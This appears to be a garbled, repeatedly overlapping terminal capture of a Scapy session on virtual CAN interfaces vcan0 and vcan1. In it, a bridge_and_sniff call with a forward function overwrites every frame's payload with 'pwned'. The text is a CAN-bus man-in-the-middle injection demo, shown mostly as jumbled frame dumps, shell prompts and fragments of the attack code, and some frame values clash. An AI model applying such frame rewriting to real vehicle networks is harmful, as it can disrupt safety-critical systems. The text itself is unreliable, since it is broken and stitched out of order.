'pwne' │ vcan0 0DC [1] CA vcan1 0DC [1] 70 'p' │ vcan0 0DC [1] CA vcan1 0DC [1] 70 'p' │ vcan0 5CA [2] 1E 05 vcan1 5CA [2] 70 77 'pw' │ vcan0 5CA [2] 1E 05 vcan1 5CA [2] 70 77 'pw' │ vcan0 731 [8] 07 39 7D 36 0A 2A A2 0D vcan1 731 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 731 [8] 07 39 7D 36 0A 2A A2 0D vcan1 731 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 5DC [8] 33 19 C9 75 71 92 64 35 vcan1 5DC [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 5DC [8] 33 19 C9 75 71 92 64 35 vcan1 5DC [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 13C [8] 71 32 A5 1C B3 F9 25 00 vcan1 13C [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 13C [8] 71 32 A5 1C B3 F9 25 00 vcan1 13C [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 62B [5] A2 E5 B5 2C FE vcan1 62B [5] 70 77 6E 65 64 'pwned' │ vcan0 62B [5] A2 E5 B5 2C FE vcan1 62B [5] 70 77 6E 65 64 'pwned' │ vcan0 3D7 [4] E0 4C 54 59 vcan1 3D7 [4] 70 77 6E 65 'pwne' │ vcan0 3D7 [4] E0 4C 54 59 vcan1 3D7 [4] 70 77 6E 65 'pwne' │ vcan0 3D8 [7] 60 32 03 52 B5 6C AC vcan1 3D8 [7] 70 77 6E 65 64 00 00 'pwned..' │ vcan0 3D8 [7] 60 32 03 52 B5 6C AC vcan1 3D8 [7] 70 77 6E 65 64 00 00 'pwned..' │ vcan0 2E9 [8] 3E 90 FF 49 B3 90 66 23 vcan1 2E9 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 2E9 [8] 3E 90 FF 49 B3 90 66 23 vcan1 2E9 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 16D [8] 22 30 E5 24 9E D8 9A 26 vcan1 16D [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 16D [8] 22 30 E5 24 9E D8 9A 26 vcan1 16D [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 6EA [8] A9 02 3D 34 C6 6C 16 16 vcan1 6EA [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 6EA [8] A9 02 3D 34 C6 6C 16 16 vcan1 6EA [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 7F6 [8] 37 FF 7A 4B 32 29 46 0D vcan1 7F6 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 7F6 [8] 37 FF 7A 4B 32 29 46 0D vcan1 7F6 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 449 [8] E5 22 6C 0D 75 B2 B8 27 vcan1 449 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 449 [8] E5 22 6C 0D 75 B2 B8 27 vcan1 449 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 13D [7] 73 38 90 28 15 85 68 vcan1 13D [7] 70 77 6E 65 64 00 00 'pwned..' │ vcan0 13D [7] 73 38 90 28 15 85 68 vcan1 13D [7] 70 77 6E 65 64 00 00 'pwned..' │ vcan0 7FC [4] FF 3C 07 00 vcan1 7FC [4] 70 77 6E 65 'pwne' │ vcan0 7FC [4] FF 3C 07 00 vcan1 7FC [4] 70 77 6E 65 'pwne' │ vcan0 7BB [8] 89 E0 9B 47 A4 52 E1 04 vcan1 7BB [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 7BB [8] 89 E0 9B 47 A4 52 E1 04 vcan1 7BB [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 68A [8] 58 E3 47 28 F7 3F BE 6C vcan1 68A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 68A [8] 58 E3 47 28 F7 3F BE 6C vcan1 68A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 624 [8] 95 18 59 13 0E 85 7D 5A vcan1 624 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 624 [8] 95 18 59 13 0E 85 7D 5A vcan1 624 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 4A3 [8] D4 F1 93 70 99 6C 53 79 vcan1 4A3 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 4A3 [8] D4 F1 93 70 99 6C 53 79 vcan1 4A3 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 71A [8] CC 95 99 06 64 83 70 63 vcan1 71A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 71A [8] CC 95 99 06 64 83 70 63 vcan1 71A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 2B3 [1] D9 vcan1 2B3 [1] 70 'p' │ vcan0 2B3 [1] D9 vcan1 2B3 [1] 70 'p' │ vcan0 139 [8] 06 41 B1 29 35 E1 7E 5C vcan1 139 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 139 [8] 06 41 B1 29 35 E1 7E 5C vcan1 139 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 3A0 [5] 09 55 6E 63 5C vcan1 3A0 [5] 70 77 6E 65 64 'pwned' │ vcan0 3A0 [5] 09 55 6E 63 5C vcan1 3A0 [5] 70 77 6E 65 64 'pwned' │ vcan0 564 [3] 00 8E BE vcan1 624 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 71A [8] CC 95 99 06 64 83 70 63 vcan1 4A3 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 2B3 [1] D9 vcan1 71A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 139 [8] 06 41 B1 29 35 E1 7E 5C vcan1 2B3 [1] 70 'p' │ vcan0 3A0 [5] 09 55 6E 63 5C vcan1 139 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 564 [3] 00 8E BE vcan1 3A0 [5] 70 77 6E 65 64 'pwned' │ vcan0 65B [8] E5 EB 0A 6D 7F AC E6 49 vcan1 624 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 2B3 [1] D9 vcan1 4A3 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 139 [8] 06 41 B1 29 35 E1 7E 5C vcan1 71A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 3A0 [5] 09 55 6E 63 5C vcan1 2B3 [1] 70 'p' │ vcan0 564 [3] 00 8E BE vcan1 139 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 65B [8] E5 EB 0A 6D 7F AC E6 49 vcan1 3A0 [5] 70 77 6E 65 64 'pwned' │ vcan0 4D2 [8] 8E 31 64 24 76 01 C3 7F vcan1 624 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 139 [8] 06 41 B1 29 35 E1 7E 5C vcan1 4A3 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 3A0 [5] 09 55 6E 63 5C vcan1 71A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 564 [3] 00 8E BE vcan1 2B3 [1] 70 'p' │ vcan0 65B [8] E5 EB 0A 6D 7F AC E6 49 vcan1 139 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 4D2 [8] 8E 31 64 24 76 01 C3 7F vcan1 3A0 [5] 70 77 6E 65 64 'pwned' │ vcan0 7B9 [2] 0F 6E vcan1 624 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 3A0 [5] 09 55 6E 63 5C vcan1 4A3 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 564 [3] 00 8E BE vcan1 71A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 65B [8] E5 EB 0A 6D 7F AC E6 49 vcan1 2B3 [1] 70 'p' │ vcan0 4D2 [8] 8E 31 64 24 76 01 C3 7F vcan1 139 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 7B9 [2] 0F 6E vcan1 3A0 [5] 70 77 6E 65 64 'pwned' │ vcan0 46E [8] 38 DA 06 1D 21 37 36 75 vcan1 624 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 564 [3] 00 8E BE vcan1 4A3 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 65B [8] E5 EB 0A 6D 7F AC E6 49 vcan1 71A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 4D2 [8] 8E 31 64 24 76 01 C3 7F vcan1 2B3 [1] 70 'p' │ vcan0 7B9 [2] 0F 6E vcan1 139 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 46E [8] 38 DA 06 1D 21 37 36 75 vcan1 3A0 [5] 70 77 6E 65 64 'pwned' │ vcan0 48D [1] 12 vcan1 624 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 65B [8] E5 EB 0A 6D 7F AC E6 49 vcan1 4A3 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 4D2 [8] 8E 31 64 24 76 01 C3 7F vcan1 71A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 7B9 [2] 0F 6E vcan1 2B3 [1] 70 'p' │ vcan0 46E [8] 38 DA 06 1D 21 37 36 75 vcan1 139 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 48D [1] 12 vcan1 3A0 [5] 70 77 6E 65 64 'pwned' │ vcan0 65D [8] FB 5E 5C 3E FE 71 87 11 vcan1 624 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 4D2 [8] 8E 31 64 24 76 01 C3 7F vcan1 4A3 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 7B9 [2] 0F 6E vcan1 71A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 46E [8] 38 DA 06 1D 21 37 36 75 vcan1 2B3 [1] 70 'p' │ vcan0 48D [1] 12 vcan1 139 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 65D [8] FB 5E 5C 3E FE 71 87 11 vcan1 3A0 [5] 70 77 6E 65 64 'pwned' │ vcan0 21D [4] 5A AD 64 6E vcan1 624 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 7B9 [2] 0F 6E vcan1 4A3 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 46E [8] 38 DA 06 1D 21 37 36 75 vcan1 71A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 48D [1] 12 vcan1 2B3 [1] 70 'p' │ vcan0 65D [8] FB 5E 5C 3E FE 71 87 11 vcan1 139 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 21D [4] 5A AD 64 6E vcan1 3A0 [5] 70 77 6E 65 64 'pwned' │ vcan0 197 [8] 70 4B F8 5F F2 8F 7A 09 vcan1 624 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 46E [8] 38 DA 06 1D 21 37 36 75 vcan1 4A3 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 48D [1] 12 vcan1 71A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 65D [8] FB 5E 5C 3E FE 71 87 11 vcan1 2B3 [1] 70 'p' │ vcan0 21D [4] 5A AD 64 6E vcan1 139 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 197 [8] 70 4B F8 5F F2 8F 7A 09 vcan1 3A0 [5] 70 77 6E 65 64 'pwned' │ vcan0 4B3 [6] 72 3C 61 53 85 31 vcan1 624 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 48D [1] 12 vcan1 4A3 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 65D [8] FB 5E 5C 3E FE 71 87 11 vcan1 71A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 21D [4] 5A AD 64 6E vcan1 2B3 [1] 70 'p' │ vcan0 197 [8] 70 4B F8 5F F2 8F 7A 09 vcan1 139 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 4B3 [6] 72 3C 61 53 85 31 vcan1 3A0 [5] 70 77 6E 65 64 'pwned' │ vcan0 3D1 [0] vcan1 624 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 65D [8] FB 5E 5C 3E FE 71 87 11 vcan1 4A3 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 21D [4] 5A AD 64 6E vcan1 71A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 197 [8] 70 4B F8 5F F2 8F 7A 09 vcan1 2B3 [1] 70 'p' │ vcan0 4B3 [6] 72 3C 61 53 85 31 vcan1 139 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 3D1 [0] vcan1 3A0 [5] 70 77 6E 65 64 'pwned' │ vcan0 162 [8] 5E B2 F7 4E D0 A5 C4 5D vcan1 624 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 21D [4] 5A AD 64 6E vcan1 4A3 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 197 [8] 70 4B F8 5F F2 8F 7A 09 vcan1 71A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 4B3 [6] 72 3C 61 53 85 31 vcan1 2B3 [1] 70 'p' │ vcan0 3D1 [0] vcan1 139 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 162 [8] 5E B2 F7 4E D0 A5 C4 5D vcan1 3A0 [5] 70 77 6E 65 64 'pwned' │ vcan0 4E6 [6] F2 DC FA 52 73 61 <Sniffed: TCP:0 UDP:0 ICMP:0 Other:303> <Sniffed: TCP:0 UDP:0 ICMP:0 Other:72> [1] 0:python3.7* "cars@scapy :~/repos/t" 13:35 24-Jan-19 vcan1 624 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 197 [8] 70 4B F8 5F F2 8F 7A 09 vcan1 4A3 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 4B3 [6] 72 3C 61 53 85 31 vcan1 71A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 3D1 [0] vcan1 2B3 [1] 70 'p' │ vcan0 162 [8] 5E B2 F7 4E D0 A5 C4 5D vcan1 139 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 4E6 [6] F2 DC FA 52 73 61 vcan1 3A0 [5] 70 77 6E 65 64 'pwned' │ vcan0 4A7 [4] 39 DF 79 1F vcan1 624 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 4B3 [6] 72 3C 61 53 85 31 vcan1 4A3 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 3D1 [0] vcan1 71A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 162 [8] 5E B2 F7 4E D0 A5 C4 5D vcan1 2B3 [1] 70 'p' │ vcan0 4E6 [6] F2 DC FA 52 73 61 vcan1 139 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 4A7 [4] 39 DF 79 1F vcan1 3A0 [5] 70 77 6E 65 64 'pwned' │ vcan0 41D [4] 03 8D 9F 01 vcan1 624 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 3D1 [0] vcan1 4A3 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 162 [8] 5E B2 F7 4E D0 A5 C4 5D vcan1 71A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 4E6 [6] F2 DC FA 52 73 61 vcan1 2B3 [1] 70 'p' │ vcan0 4A7 [4] 39 DF 79 1F vcan1 139 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 41D [4] 03 8D 9F 01 vcan1 3A0 [5] 70 77 6E 65 64 'pwned' │ vcan0 239 [8] BC 55 3E 61 D0 DB 75 4C vcan1 624 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 162 [8] 5E B2 F7 4E D0 A5 C4 5D vcan1 4A3 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 4E6 [6] F2 DC FA 52 73 61 vcan1 71A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 4A7 [4] 39 DF 79 1F vcan1 2B3 [1] 70 'p' │ vcan0 41D [4] 03 8D 9F 01 vcan1 139 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 239 [8] BC 55 3E 61 D0 DB 75 4C vcan1 3A0 [5] 70 77 6E 65 64 'pwned' │ vcan0 5B7 [8] C3 6B F0 55 6A 22 51 1A vcan1 624 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 4E6 [6] F2 DC FA 52 73 61 vcan1 4A3 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 4A7 [4] 39 DF 79 1F vcan1 71A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 41D [4] 03 8D 9F 01 vcan1 2B3 [1] 70 'p' │ vcan0 239 [8] BC 55 3E 61 D0 DB 75 4C vcan1 139 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 5B7 [8] C3 6B F0 55 6A 22 51 1A vcan1 3A0 [5] 70 77 6E 65 64 'pwned' │ vcan0 083 [5] F0 53 AE 4B 54 vcan1 624 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 4A7 [4] 39 DF 79 1F vcan1 4A3 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 41D [4] 03 8D 9F 01 vcan1 71A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 239 [8] BC 55 3E 61 D0 DB 75 4C vcan1 2B3 [1] 70 'p' │ vcan0 5B7 [8] C3 6B F0 55 6A 22 51 1A vcan1 139 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 083 [5] F0 53 AE 4B 54 vcan1 3A0 [5] 70 77 6E 65 64 'pwned' │ vcan0 635 [8] DE 6F 02 71 97 A7 D4 2D vcan1 624 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 41D [4] 03 8D 9F 01 vcan1 4A3 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 239 [8] BC 55 3E 61 D0 DB 75 4C vcan1 71A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 5B7 [8] C3 6B F0 55 6A 22 51 1A vcan1 2B3 [1] 70 'p' │ vcan0 083 [5] F0 53 AE 4B 54 vcan1 139 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 635 [8] DE 6F 02 71 97 A7 D4 2D vcan1 3A0 [5] 70 77 6E 65 64 'pwned' │ vcan0 7F6 [8] 68 4D 99 0B DD CC EB 50 [cars@scapy folders 2019]$ e [cars@scapy folders 2019]$ ex vcan1 624 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 239 [8] BC 55 3E 61 D0 DB 75 4C vcan1 4A3 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 5B7 [8] C3 6B F0 55 6A 22 51 1A vcan1 71A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 083 [5] F0 53 AE 4B 54 vcan1 2B3 [1] 70 'p' │ vcan0 635 [8] DE 6F 02 71 97 A7 D4 2D vcan1 139 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 7F6 [8] 68 4D 99 0B DD CC EB 50 vcan1 3A0 [5] 70 77 6E 65 64 'pwned' │ vcan0 6D3 [8] 50 2E 88 0E 7B 4B 27 40 [cars@scapy folders 2019]$ exi vcan1 624 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 5B7 [8] C3 6B F0 55 6A 22 51 1A vcan1 4A3 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 083 [5] F0 53 AE 4B 54 vcan1 71A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 635 [8] DE 6F 02 71 97 A7 D4 2D vcan1 2B3 [1] 70 'p' │ vcan0 7F6 [8] 68 4D 99 0B DD CC EB 50 vcan1 139 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 6D3 [8] 50 2E 88 0E 7B 4B 27 40 vcan1 3A0 [5] 70 77 6E 65 64 'pwned' │ vcan0 25E [8] 80 66 3F 30 7B FE B7 5F >>> [cars@scapy folders 2019]$ exit [1] 0:bash* "cars@scapy :~/repos/t" 13:35 24-Jan-19[cars@scapy folders 2019]$ exit logout vcan1 5CA [2] 70 77 'pw' vcan0 5B7 [8] C3 6B F0 55 6A 22 51 1A vcan1 731 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 083 [5] F0 53 AE 4B 54 vcan1 5DC [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 635 [8] DE 6F 02 71 97 A7 D4 2D vcan1 13C [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 7F6 [8] 68 4D 99 0B DD CC EB 50 vcan1 62B [5] 70 77 6E 65 64 'pwned' vcan0 6D3 [8] 50 2E 88 0E 7B 4B 27 40 vcan1 3D7 [4] 70 77 6E 65 'pwne' vcan0 25E [8] 80 66 3F 30 7B FE B7 5F vcan1 3D8 [7] 70 77 6E 65 64 00 00 'pwned..' vcan1 449 [8] 70 77 6E 65 64 00 00 ...: pkt.data = b"pwned"...: return pkt │ ...: >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, x│rm21=forward, timeout=5) <Sniffed: TCP:0 UDP:0 ICMP:0 Other:303> │ <Sniffed: TCP:0 UDP:0 ICMP:0 Other:72> │ >>> [cars@scapy folders 2019]$ exit │ logout vcan1 5CA [2] 70 77 'pw' vcan0 564 [3] 00 8E BE vcan1 731 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 65B [8] E5 EB 0A 6D 7F AC E6 49 vcan1 5DC [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 4D2 [8] 8E 31 64 24 76 01 C3 7F vcan1 13C [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 7B9 [2] 0F 6E vcan1 62B [5] 70 77 6E 65 64 'pwned' vcan0 46E [8] 38 DA 06 1D 21 37 36 75 vcan1 3D7 [4] 70 77 6E 65 'pwne' vcan0 48D [1] 12 vcan1 3D8 [7] 70 77 6E 65 64 00 00 'pwned..' vcan0 65D [8] FB 5E 5C 3 vcan1 2E9 [8] 70 77 6E 65 64 00 00 00 'pwned...' │─────────────────────────────────────────────────────────── vcan1 16D [8] 70 77 6E 65 64 00 00 00 'pwned...' '] = {'use-python-can': True}' to enable python-can. vcan1 6EA [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan1 7F6 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan1 449 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan1 13D [7] 70 77 6E 65 64 00 00 'pwned..' │ vcan1 7FC [4] 70 77 6E 65 'pwne' │ vcan1 7BB [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan1 68A [8] 70 77 6E 65 64 00 00 00 'pwned...' │rm21=forward, timeout=5) vcan1 624 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan1 4A3 [8] 70 77 6E 65 64 00 00 00 'pwned...' │rm21=forward, timeout=5) vcan1 71A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan1 2B3 [1] 70 'p' │ vcan1 139 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan1 3A0 [5] 70 77 6E 65 64 'pwned' │ vcan1 5CA [2] 70 77 'pw' vcan0 65B [8] E5 EB 0A 6D 7F AC E6 49 vcan1 731 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 4D2 [8] 8E 31 64 24 76 01 C3 7F vcan1 5DC [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 7B9 [2] 0F 6E vcan1 13C [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 46E [8] 38 DA 06 1D 21 37 36 75 vcan1 62B [5] 70 77 6E 65 64 'pwned' vcan0 48D [1] 12 vcan1 3D7 [4] 70 77 6E 65 'pwne' vcan0 65D [8] FB 5E 5C 3E FE 71 87 11 vcan1 3D8 [7] 70 77 6E 65 64 00 00 'pwned..' vcan0 21D [4] 5A AD 64 6E vcan1 2E9 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 197 [8] 70 4B F8 5F F2 8F 7A 09 vcan1 16D [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 4B3 [6] 72 3C 61 53 85 31 vcan1 6EA [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 3D1 [0] vcan1 7F6 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 162 [8] 5E B2 F7 4E D0 A5 C4 5D vcan1 449 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 4E6 [6] F2 DC FA 52 73 61 vcan1 13D [7] 70 77 6E 65 64 00 00 'pwned..' │ vcan0 4A7 [4] 39 DF 79 1F vcan1 7FC [4] 70 77 6E 65 'pwne' │ vcan0 41D [4] 03 8D 9F 01 vcan1 7BB [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 239 [8] BC 55 3E 61 D0 DB 75 4C vcan1 68A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 5B7 [8] C3 6B F0 55 6A 22 51 1A vcan1 624 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 083 [5] F0 53 AE 4B 54 vcan1 624 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 635 [8] DE 63 AE 4B 54 vcan1 4A3 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 635 [8] DE 6F 02 71 97 A7 D4 2D vcan1 71A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 7F6 [8] 68 4D 99 0B DD CC EB 50 vcan1 2B3 [1] 70 'p' │ vcan0 6D3 [8] 50 2E 88 0E 7B 4B 27 40 vcan1 139 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 25E [8] 80 66 3F 30 7B FE B7 5F vcan1 3A0 [5] 70 77 6E 65 64 'pwned' │ vcan0 3BE [3] B6 B4 4A vcan1 5CA [2] 70 77 'pw' vcan0 4D2 [8] 8E 31 64 24 76 01 C3 7F vcan1 731 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 7B9 [2] 0F 6E vcan1 5DC [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 46E [8] 38 DA 06 1D 21 37 36 75 vcan1 13C [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 48D [1] 12 vcan1 62B [5] 70 77 6E 65 64 'pwned' vcan0 65D [8] FB 5E 5C 3E FE 71 87 11 vcan1 3D7 [4] 70 77 6E 65 'pwne' vcan0 21D [4] 5A AD 64 6E vcan1 3D8 [7] 70 77 6E 65 64 00 00 'pwned..' vcan0 197 [8] 70 4B F8 5F F2 8F 7A 09 vcan1 2E9 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 4B3 [6] 72 3C 61 53 85 31 vcan1 16D [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 3D1 [0] vcan1 6EA [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 162 [8] 5E B2 F7 4E D0 A5 C4 5D vcan1 7F6 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 4E6 [6] F2 DC FA 52 73 61 vcan1 449 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 4A7 [4] 39 DF 79 1F vcan1 13D [7] 70 77 6E 65 64 00 00 'pwned..' │ vcan0 41D [4] 03 8D 9F 01 vcan1 7FC [4] 70 77 6E 65 'pwne' │ vcan0 239 [8] BC 55 3E 61 D0 DB 75 4C vcan1 7BB [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 5B7 [8] C3 6B F0 55 6A 22 51 1A vcan1 68A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 083 [5] F0 53 AE 4B 54 vcan1 624 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 635 [8] DE 6F 02 71 97 A7 D4 2D vcan1 624 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 7F6 [8] 68 4F 02 71 97 A7 D4 2D vcan1 4A3 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 7F6 [8] 68 4D 99 0B DD CC EB 50 vcan1 71A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 6D3 [8] 50 2E 88 0E 7B 4B 27 40 vcan1 2B3 [1] 70 'p' │ vcan0 25E [8] 80 66 3F 30 7B FE B7 5F vcan1 139 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 3BE [3] B6 B4 4A vcan1 3A0 [5] 70 77 6E 65 64 'pwned' │ vcan0 5E0 [2] C8 19 vcan1 5CA [2] 70 77 'pw' vcan0 7B9 [2] 0F 6E vcan1 731 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 46E [8] 38 DA 06 1D 21 37 36 75 vcan1 5DC [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 48D [1] 12 vcan1 13C [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 65D [8] FB 5E 5C 3E FE 71 87 11 vcan1 62B [5] 70 77 6E 65 64 'pwned' vcan0 21D [4] 5A AD 64 6E vcan1 3D7 [4] 70 77 6E 65 'pwne' vcan0 197 [8] 70 4B F8 5F F2 8F 7A 09 vcan1 3D8 [7] 70 77 6E 65 64 00 00 'pwned..' vcan0 4B3 [6] 72 3C 61 53 85 31 vcan1 2E9 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 3D1 [0] vcan1 16D [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 162 [8] 5E B2 F7 4E D0 A5 C4 